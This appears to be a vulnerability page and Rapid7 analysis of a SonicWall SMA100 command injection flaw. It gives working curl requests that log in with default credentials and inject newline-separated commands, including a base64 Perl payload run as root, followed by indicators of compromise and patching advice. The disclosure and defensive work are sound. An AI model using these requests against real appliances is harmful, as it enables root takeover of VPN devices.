Attacker Value
High
(1 user assessed)
Exploitability
High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
4

CVE-2021-20039

Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
Validated
Validated

Description

Improper neutralization of special elements in the SMA100 management interface ‘/cgi-bin/viewcert’ POST http method allows a remote authenticated attacker to inject arbitrary commands as a ‘nobody’ user. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances.

Add Assessment

2
Ratings
Technical Analysis

This authenticated and remote command injection allows a remote attacker to execute code as root. Authentication is the only serious hurdle to exploiting this issue, and it should be noted that SMA 100 series use default credentials for the admin user. For full details see the Rapid7 analysis.

General Information

Vendors

  • SonicWall

Products

  • SonicWall SMA100

Additional Info

Technical Analysis

Description

On December 7, 2021, SonicWall released new firmware for their Secure Mobile Access (SMA) 100 series. SonicWall issued a security advisory on January 11, 2022 notifying users that the December releases fixed security issues found by Rapid7. One such issue was an authenticated command injection vulnerability in the web interface that allows remote attackers to execute arbitrary commands as the root user. The vulnerability was assigned CVE-2021-20039 and has a CVSS score of 7.2.

While authentication is required for this vulnerability, the SMA 100 series default credentials, if left unchanged, can be used to exploit this issue.

A Metasploit module has been developed for this vulnerability. It is not yet known to be exploited in the wild.

Affected products

The following firmware versions for the SMA 100 series are affected:

  • 10.2.1.2-24sv and earlier
  • 10.2.0.8-37sv and earlier
  • 9.0.0.11-31sv and earlier

Rapid7 analysis

The vulnerability can be found in the cgi-bin binary viewcert. There are a few paths that can be followed to exploit this vulnerability, but this analysis will focus on the “delete” functionality of viewcert. The “delete” functionality, unsurprisingly, allows the administrative user to delete SSL/TLS certificates that have been uploaded to the system.

vuln

The image above shows an obvious command injection issue, assuming that the attacker has full control over pcVar2. pcVar2 is the value associated with the HTTP request’s CERT parameter.

cert

Above we can see that pcVar2 does go through some validation. Specifically, it’s checked to ensure the string starts with ‘n’ or ‘d’ and it is passed through the safeSystemCmdArg2 function. The safeSystemCmdArg2 function scans the provided string and truncates it at the first disallowed character. The standard shell metacharacters are not allowed: $, &, |, >, ;, \, ^, etc. Also, inconveniently, / is not allowed.

However, safeSystemCmdArg2 fails to identify the new line character (\n) as an unsafe character. Which means an attacker can use a newline character to terminate the rm -rf command (see above) and start a new command.

To recreate this issue, the attacker first needs to log in. Here is an example of logging in using the default credentials:

albinolobster@ubuntu:~$ curl -v --insecure -F username=admin -F password=password -F domain=LocalDomain -F portalname=VirtualOffice -F ajax=true https://10.0.0.7/cgi-bin/userLogin
*   Trying 10.0.0.7:443...
* Connected to 10.0.0.7 (10.0.0.7) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=US; ST=CA; L=Santa Clara; O=SonicWall; OU=Secure Mobile Access; CN=sslvpn
*  start date: Jan  1 00:00:01 1970 GMT
*  expire date: Jan 19 03:14:07 2038 GMT
*  issuer: C=US; ST=CA; L=Santa Clara; O=SonicWall; OU=Secure Mobile Access; CN=sslvpn
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
> POST /cgi-bin/userLogin HTTP/1.1
> Host: 10.0.0.7
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 568
> Content-Type: multipart/form-data; boundary=------------------------0e0e8e34b8b1cda4
>
* We are completely uploaded and fine
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 29 Nov 2021 21:14:06 GMT
< Server: SonicWALL SSL-VPN Web Server
< X-NE-tf: 0
< Pragma: no-cache
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: swap=WFh1ZktXNHQwOENuVmJFMW5ScDdEbzVHQ1hNMXNNenZrSVlCOFIxdTFKVT0=; path=/; secure; HttpOnly
< Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'
< X-FRAME-OPTIONS: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: strict-origin
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=UTF-8
<
* Connection #0 to host 10.0.0.7 left intact
{"status":"success","redirect":"/cgi-bin/management"}

To execute the attack, grab the swap value from the cookie and replace it in the following request:

curl -v --insecure --Cookie swap=WFh1ZktXNHQwOENuVmJFMW5ScDdEbzVHQ1hNMXNNenZrSVlCOFIxdTFKVT0= -H "User-Agent: SonicWALL Mobile Connect" -F buttontype=delete -F $'CERT=nj \nsleep 20 \n'  https://10.0.0.7/cgi-bin/viewcert

This will blindly execute the command sleep 20. We can observe this was successful because curl will have to wait ~20 seconds for the server to respond.

The space for the attacker’s payload in the CERT field is quite limited. As shown earlier the payload is first passed through a _sprintf_chk call to build the rm -rf string. If _sprintf_chk detects an overflow it calls exit (terminating the process), so the full command is truly limited to 0x100 bytes. Also, a majority of that space is chewed up by the legitimate portion of the rm -rf command already. So it’s difficult to fit in any type of payload.

Also problematic is all the disallowed characters. Redirecting to a file or even using curl (which actually isn’t even available on 9.x) is impossible due to the filtering. In our Metasploit module, we solved this problem by base64 encoding commands on the client side and then decoding and evaluating the commands with Perl on the server side. Here’s an example that executes touch /tmp/lol:

curl -v --insecure --Cookie swap=NkcxVG1VRXRZcmNUejBDZTUxaEoxMWJVUzdkdWJhaTNMTjUyek1vbGtucz0= -H "User-Agent: SonicWALL Mobile Connect" -F buttontype=delete -F $'CERT=nj \nperl -MMIME::Base64 -e \'system(decode_base64("dG91Y2ggL3RtcC9sb2w="))\''  https://10.0.0.7/cgi-bin/viewcert

Looking at the file in /tmp/ we can see that it was written by the root user.

sh root@sslvpn:/tmp # ls -l /tmp/lol -rw-r--r-- 1 root nobody 0 Nov 29 13:39 /tmp/lol

The Metasploit module is able to establish a Meterpreter session using this relatively small payload space.

Indicators of Compromise

The httpd.log is likely going to be the most useful indicator of compromise. This can be retrieved via the web interface: System –> Diagnostics –> Tech Support Report –> Download Report. The httpd.log file will be within the zip archive. The exploit, as written, generates the following line:

[Mon Nov 29 13:51:05.180162 2021] [cgi:error] [pid 13625] [client 10.0.0.9:57806] AH01215: scandir: No such file or directory: /usr/src/EasyAccess/www/cgi-bin/viewcert

Realistically, an attacker can delete this log file shortly after exploiting the system, but it’s worthwhile for catching both exploitation attempts and attackers that don’t properly clean up after themselves.

The status.txt log might also be of interest. Specifically, it displays all ps output showing all running processes. Unfortunately, reviewing this log requires some familiarity with things that should and should not be running on the system which can be very hard to know for a layperson. Reviewing this output on our test system, both gdb and busybox are obvious anomalies.

Processes
-----------------------------------------------------------------
USER   	PID %CPU %MEM	VSZ   RSS TTY  	STAT START   TIME COMMAND
root     	1  0.0  0.0   2068   584 ?    	Ss   Nov27   0:42 init [3]  
root     	2  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kthreadd]
root     	3  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [ksoftirqd/0]
root     	4  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/0:0]
root     	5  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/0:0H]
root     	6  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/u4:0]
root     	7  0.0  0.0  	0 	0 ?    	S	Nov27   2:12 [rcu_sched]
root     	8  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [rcu_bh]
root     	9  0.0  0.0  	0 	0 ?    	S	Nov27   0:06 [migration/0]
root    	10  0.0  0.0  	0 	0 ?    	S	Nov27   0:15 [migration/1]
root    	11  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [ksoftirqd/1]
root    	13  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/1:0H]
root    	14  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [khelper]
root    	15  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [netns]
root   	461  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [writeback]
root   	463  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bioset]
root   	465  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kblockd]
root   	622  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [ata_sff]
root   	632  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [khubd]
root   	742  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [kworker/0:1]
root   	757  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kswapd0]
root   	758  0.0  0.0  	0 	0 ?    	SN   Nov27   0:00 [ksmd]
root   	825  0.0  0.0  	0 	0 ?    	SN   Nov27   0:00 [khugepaged]
root   	826  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [fsnotify_mark]
root   	845  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [crypto]
root  	1011  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [kworker/1:1]
root  	1061  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [iscsi_eh]
root  	1065  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/0:1H]
root  	1069  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fc_exch_workque]
root  	1070  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fc_rport_eq]
root  	1071  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fcoethread/0]
root  	1072  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fcoethread/1]
root  	1075  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fnic_event_wq]
root  	1076  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fnic_fip_q]
root  	1078  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_l2_threa]
root  	1079  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_thread/0]
root  	1080  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_thread/1]
root  	1107  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [scsi_eh_0]
root  	1149  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2i_thread/0]
root  	1150  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2i_thread/1]
root  	1197  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bond0]
root  	1244  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [cnic_wq]
root  	1246  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [cxgb4]
root  	1257  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/1:2]
root  	1308  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [deferwq]
root  	1322  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kjournald]
root  	1328  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [loop0]
root  	1407  0.0  0.0  13752  2744 ?    	Sl   Nov27   1:45 /usr/sbin/vmtoolsd
root  	1408  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/1:1H]
root  	1435  0.0  0.0   2376   588 ?    	Ss   Nov27   0:00 /usr/sbin/fcron
root  	1447  0.0  0.4  19712 16996 pts/1	S+   03:51   0:00 ./gdb -p 30092
root  	1483  0.0  1.4  93152 59728 ?    	Sl   Nov27   0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py
nobody	1526  0.0  0.0  	0 	0 ?    	Z	03:52   0:00 [staticContent] <defunct>
root  	1551  0.0  0.2  20720 11124 ?    	Ss   Nov27   1:42 /usr/src/EasyAccess/bin/smm -d
root  	1627  0.0  0.0   1904   224 ?    	Ss   Nov27   0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com
root  	1634  0.0  0.0   2120   596 ?    	Ss   Nov27   0:00 /usr/sbin/syslogd -m 0
root  	1639  0.0  0.0   3136  1684 ?    	Ss   Nov27   0:00 /usr/sbin/klogd -c 1
root  	1712  0.0  0.0  13208  1980 ?    	Ss   Nov27   0:00 /usr/sbin/crlUpdate -d -i 1440
root  	1719  0.0  0.0  13828  1968 ?    	Ss   Nov27   0:03 htcacheclean -nti -d60 -l5M -p/var/webcache
root  	1735  0.0  0.0  13164  1740 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/anonySessionD
root  	1737  0.0  0.0  13164  1492 ?    	S	Nov27   0:00 /usr/src/EasyAccess/bin/anonySessionD
root  	1740  0.0  0.0  14320  3484 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/firebase -d
root  	1748  0.0  0.3  45472 15316 ?    	Sl   Nov27   0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js
root  	1749  0.0  0.0   2080   268 ?    	S	Nov27   0:00 cat
root  	1752  0.0  0.3  45308 15408 ?    	Sl   Nov27   0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js
root  	1760  0.0  0.0  13616  2116 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/wireguard -d
root  	1779  0.8  0.2  23468  8940 ?    	Ss   Nov27  21:47 /usr/src/EasyAccess/bin/httpd
root  	1805  0.0  0.0  13852  2556 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/ftpsession -d
root  	1811  0.1  0.0  13916  3936 ?    	S<s  Nov27   2:51 /usr/src/EasyAccess/bin/graphd -d
root  	1820  0.0  0.0  13356  1816 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/rootHelper -d
root  	1832  0.0  0.0  54412  2548 ?    	Ssl  Nov27   0:04 /usr/src/EasyAccess/bin/dhcpcd -d
root  	1851  0.0  0.1  15968  5260 ?    	Ss   Nov27   0:06 /usr/src/EasyAccess/bin/nxlog -d
root  	1867  0.0  0.0  13304  3152 ?    	S	Nov27   0:00 /usr/src/EasyAccess/bin/downloadclient -d
root  	1893  0.0  0.0  13204  2512 ?    	S	Nov27   0:00 /usr/sbin/LicenseManager
root  	1894  0.0  0.0  13200  2600 ?    	S	Nov27   0:00 /usr/sbin/PKGDownload
root  	1897  0.0  0.0  13772  3708 ?    	Ss   Nov27   0:16 /usr/src/EasyAccess/bin/HA -d
root  	1922  0.0  0.1  15224  5976 ?    	Ss   Nov27   0:00 /usr/sbin/updateAgent -d
root  	1923  0.0  0.0  13172  2556 ?    	S	Nov27   0:06 /usr/sbin/watchdog
root  	1924  0.0  0.1  13708  4948 ?    	S	Nov27   0:14 /usr/sbin/swMonitor
root  	2205  0.0  0.0  	0 	0 ?    	S	Nov28   0:00 [kworker/u4:2]
root  	2379  0.0  0.0   2048   432 tty1 	Ss+  Nov27   0:00 /sbin/mingetty tty1
root  	2380  0.0  0.0   2048   432 tty2 	Ss+  Nov27   0:00 /sbin/mingetty tty2
root  	4284  0.0  0.0   1136	64 ?    	Ss   Nov27   0:00 ./busybox telnetd
root  	4301  0.0  0.0   3564  1768 pts/0	Ss+  Nov27   0:00 -cli
root  	4346  0.0  0.0   3488  1752 pts/1	Ss   Nov27   0:00 -cli
nobody   18542  0.0  0.2  25772 12268 ?    	S	07:41   0:00 /usr/src/EasyAccess/bin/httpd
nobody   21363  0.0  0.7  44288 29776 ?    	S	08:19   0:01 /usr/src/EasyAccess/bin/httpd
nobody   24039  0.0  0.7  44344 30100 ?    	S	08:55   0:00 /usr/src/EasyAccess/bin/httpd
nobody   24259  0.0  0.7  44288 29776 ?    	S	08:58   0:01 /usr/src/EasyAccess/bin/httpd
nobody   27511  0.0  0.7  44340 30128 ?    	S	09:42   0:01 /usr/src/EasyAccess/bin/httpd
nobody   30092  0.0  0.2  25772 12200 ?    	t	03:01   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30331  1.1  0.7  44284 29316 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30382  0.0  0.2  25700 11904 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30391  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30392  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30394  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30395  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30396  0.0  0.2  25700 11908 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
nobody   30397  0.0  0.2  25568  8788 ?    	S	10:20   0:00 /usr/src/EasyAccess/bin/httpd
root 	30465  2.0  0.1  13776  4612 ?    	S	10:21   0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics
root 	30599  0.0  0.0   3480  1420 ?    	S	10:21   0:00 sh -c ps awux>>/tmp/status.txt 2>&1
root 	30600  0.0  0.0   2556   880 ?    	R	10:21   0:00 ps awux

Finally, it’s important to note that the root user has write access to the web server’s cgi-bin directory (/usr/src/EasyAccess/www/cgi-bin/) which could allow them to upload a webshell to the system. As such, reviewing the http_request.log for potential access to a webshell could be beneficial. However, modifications to cgi-bin will not persist between reboots (although whether a rebooted system is trust-worthy after exploitation is another matter).

The Metasploit module for CVE-2021-20039 could allow for deeper forensic analysis. Although, it’s likely wise to consider what type of forensic effect you are having on a system by exploiting it yourself.

Guidance

Ensure your system is not using the default admin username and password, and enable multi-factor authentication whenever possible. Apply the patches provided by SonicWall. If possible, limit the exposure of the device to known good entities and enable a WAF that would prevent any type of address guessing attacks. Regularly review the system’s logs for potential exploitation. When possible, apply SonicWall’s guidance for SMA 100 series best security practices.